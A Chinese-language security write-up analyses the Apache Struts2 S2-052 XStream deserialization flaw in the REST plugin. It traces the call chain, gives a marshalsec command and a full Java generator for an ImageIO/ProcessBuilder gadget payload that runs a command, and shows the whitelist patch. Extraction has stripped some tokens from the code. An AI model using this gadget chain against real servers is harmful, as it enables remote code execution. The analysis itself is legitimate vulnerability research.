Struts2漏洞系列之「S2-052」REST插件遠程執行命令漏洞
Smi1e@Pentes7eam
漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-052
當Struts2使用了 Struts2-Rest-Plugin插件時,如果http請求的Content-type為application/xml,則會使用XStreamHandler解析器實例化XStream對象來反序列化處理我們傳入的XML數據,且在默認情況下是可以引入任意對象的(針對1.5.x以前的版本),因此我們可以通過反序列化引入任意類造成遠程命令執行漏洞。
漏洞復現
影響範圍
Struts 2.1.2 - 2.3.33,Struts 2.5 - 2.5.12
漏洞分析
Struts2-Rest-Plugin是讓Struts2能夠實現Restful API的一個插件,其根據Content-Type或URI擴展名來判斷用户傳入的數據包類型,可以看到xml格式的處理器對應
org.apache.struts2.rest.handler.XStreamHandler
org.apache.struts2.rest.handler.XStreamHandler.java
package org.apache.struts2.rest.handler;
import com.thoughtworks.xstream.XStream;
import java.io.IOException;
import java.io.Reader;
import java.io.Writer;
public class XStreamHandler implements ContentTypeHandler {
public XStreamHandler {
}
public String fromObject(Object obj, String resultCode, Writer out) throws IOException {
if (obj != ) {
XStream xstream = this.createXStream;
xstream.toXML(obj, out);
}
return ;
}
public void toObject(Reader in, Object target) {
XStream xstream = this.createXStream;
xstream.fromXML(in, target);
}
protected XStream createXStream {
return new XStream;
}
public String getContentType {
return ''application/xml'';
}
public String getExtension {
return ''xml'';
}
}
toObject方法調用XStream反序列化XML獲得對象,fromObject方法調用XStream序列化對象為XML。
在 Struts2-Rest-Plugin插件的攔截器
org.apache.struts2.rest.ContentTypeInterceptor
中下斷點。獲取到請求解析器之後,如果請求體長度不為0則調用其 toObject方法。
然後就到了 XStreamHandler的toObject方法中,並調用xstream.fromXML(in, target);把我們傳入的XML數據進行反序列化且並沒有做任何限制。
前面的觸發流程很簡單,後面主要就是XML反序列化payload構造。java unmarshal反序列化利用工具 marshalsec 可以生成 XStream 的很多 gadgets。
上面的poc利用的是 ImageIO這條gadgets。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc
調用棧
XStream反序列化的邏輯,實際上是解析XML DOM重組對象的一個過程。流程比較複雜,這裏僅大致寫一下。
跟到 MapConverter中的putCurrentEntryIntoMap方法
因為我們最終將 NativeString對象放到了hashMap裏然後對hashMap進行序列化,所以當反序列化重組對象的時候,會觸發NativeString的hashCode方法。
public int hashCode {
return this.getStringValue.hashCode;
}
private String getStringValue {
return this.value instanceof String ? (String)this.value : this.value.toString;
}
這裏的 value是payload中傳入的
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
的對象,所以進入 Base64Data的toString方法,跟進get方法。
public String toString {
this.get;
return DatatypeConverterImpl._printBase64Binary(this.data,0, this.dataLen);
}
解析出我們傳入的 dataSource對象並返回CipherInputStream對象,然後傳給baos.readFrom
繼續跟到 FilterIterator的next方法,advance會調用FilterIterator$Filter的filter方法。此時的FilterIterator$Filter是我們傳入的
javax.imageio.ImageIO$ContainsFilter
。
public T next {
if (next == ) {
throw new NoSuchElementException;
}
T o = next;
advance;
return o;
}
private void advance {
while (iter.hasNext) {
T elt = iter.next;
if (filter.filter(elt)) {
next = elt;
return;
}
}
next = ;
}
參數 elt則是我們payload中傳入的java.lang.ProcessBuilder對象,最終調用
javax.imageio.ImageIO$ContainsFilter
的 filter方法反射執行命令,其中的method也是我們傳入的java.lang.ProcessBuilder類的start方法。
poc生成代碼如下
import com.thoughtworks.xstream.XStream;
import sun.reflect.ReflectionFactory;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.Cipher;
import java.io.InputStream;
import java.lang.reflect.*;
import java.util.Collections;
import java.util.HashMap;
public class ImageIOPayload {
public static void main(String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder(new String[]{''open'',''-a'',''calculator''});
Class> cfCl = Class.forName(''javax.imageio.ImageIO$ContainsFilter'');
Constructor> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);
cfCons.setAccessible(true);
Object filterIt = makeFilterIterator(
makeFilterIterator(Collections.emptyIterator, pb, ),
''foo'',
cfCons.newInstance(ProcessBuilder.class.getMethod(''start''), ''foo'')
);
HashMap map = makeIteratorTriggerNative(filterIt);
XStream xs = new XStream;
String xml = xs.toXML(map);
System.out.println(xml);
xs.fromXML(xml);
}
public static Object makeFilterIterator(Object backingIt, Object first, Object filter) throws Exception {
Class fiCl = Class.forName(''javax.imageio.spi.FilterIterator'');
Object filterIt = createWithoutConstructor(fiCl);
setFieldValue(filterIt, ''iter'', backingIt);
setFieldValue(filterIt, ''next'', first);
setFieldValue(filterIt, ''filter'', filter);
return filterIt;
}
public static HashMap makeIteratorTriggerNative(Object it) throws Exception {
Cipher m = (Cipher) createWithoutConstructor(Cipher.class);
setFieldValue(m, ''serviceIterator'', it);
setFieldValue(m, ''lock'', new Object);
InputStream cos = new CipherInputStream(, m);
Class> niCl = Class.forName(''java.lang.ProcessBuilder$InputStream'');//$NON-NLS-1$
Constructor> niCons = niCl.getDeclaredConstructor;
niCons.setAccessible(true);
setFieldValue(cos, ''input'', niCons.newInstance);
setFieldValue(cos, ''ibuffer'', new byte[0]);
Class c = Class.forName(''com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'');
Object b64Data = createWithoutConstructor(c);
c = Class.forName(''com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'');
DataSource ds = (DataSource) createWithoutConstructor(c);//$NON-NLS-1$
setFieldValue(ds, ''is'', cos);
setFieldValue(b64Data, ''dataHandler'', new DataHandler(ds));
setFieldValue(b64Data, ''data'', );
c = Class.forName(''jdk.nashorn.internal.objects.NativeString'');
Object nativeString = createWithoutConstructor(c);
setFieldValue(nativeString, ''value'', b64Data);
return makeMap(nativeString, nativeString);
}
public static Object createWithoutConstructor(Class c) throws IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
Constructor objCons = Object.class.getDeclaredConstructor(new Class[0]);
objCons.setAccessible(true);
Constructor sc = ReflectionFactory.getReflectionFactory
.newConstructorForSerialization(c, objCons);
sc.setAccessible(true);
return sc.newInstance(new Object[0]);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass, fieldName);
return field.get(obj);
}
public static Field getField ( final Class> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != )
field.setAccessible(true);
else if ( clazz.getSuperclass != )
field = getField(clazz.getSuperclass, fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass.equals(Object.class) ) {
return getField(clazz.getSuperclass, fieldName);
}
throw e;
}
}
public static HashMap makeMap (Object v1, Object v2 ) throws Exception{
HashMap s = new HashMap;
setFieldValue(s, ''size'',2);
Class nodeC;
try {
nodeC = Class.forName(''java.util.HashMap$Node'');
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName(''java.util.HashMap$Entry'');
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC,2);
Array.set(tbl,0, nodeCons.newInstance(0, v1, v1, ));
Array.set(tbl,1, nodeCons.newInstance(0, v2, v2, ));
setFieldValue(s, ''table'', tbl);
return s;
}
}
漏洞修復
在 XStreamHandler類中修改了createXStream方法
protected XStream createXStream(ActionInvocation invocation) {
XStream stream = new XStream;
LOG.debug(''Clears existing permissions'');
stream.addPermission(NoTypePermission.NONE);
LOG.debug(''Adds per action permissions'');
addPerActionPermission(invocation, stream);
LOG.debug(''Adds default permissions'');
addDefaultPermissions(invocation, stream);
return stream;
}
新添代碼的主要作用是將 xml中的數據白名單化,把Collection和Map、一些基礎類、時間類放在白名單中,這樣就能阻止XStream反序列化的過程中帶入一些有害類。
private void addPerActionPermission(ActionInvocation invocation, XStream stream) {
Object action = invocation.getAction;
if (action instanceof AllowedClasses) {
Set<Class>> allowedClasses = ((AllowedClasses) action).allowedClasses;
stream.addPermission(new ExplicitTypePermission(allowedClasses.toArray(new Class[allowedClasses.size()])));
}
if (action instanceof AllowedClassNames) {
Set
stream.addPermission(new ExplicitTypePermission(allowedClassNames.toArray(new String[allowedClassNames.size()])));
}
if (action instanceof XStreamPermissionProvider) {
Collection
for (TypePermission permission : permissions) {
stream.addPermission(permission);
}
}
}
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
stream.addPermission(new ExplicitTypePermission(new Class{invocation.getAction.getClass}));
if (invocation.getAction instanceof ModelDriven) {
stream.addPermission(new ExplicitTypePermission(new Class{((ModelDriven) invocation.getAction).getModel.getClass}));
}
stream.addPermission(Permission.);
stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
stream.addPermission(ArrayTypePermission.ARRAYS);
stream.addPermission(CollectionTypePermission.COLLECTIONS);
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
private static class CollectionTypePermission implements TypePermission {
private static final TypePermission COLLECTIONS = new CollectionTypePermission;
@Override
public boolean allows(Class type) {
return type != && type.isInterface &&
(Collection.class.isAssignableFrom(type) || Map.class.isAssignableFrom(type));
}
}
Referer
CVE-2017-9805:Struts2 REST插件遠程執行命令漏洞(S2-052) 分析報告
Apache Struts2 S2-052(CVE-2017-9805)遠程代碼執行漏洞
https://www.easyaq.com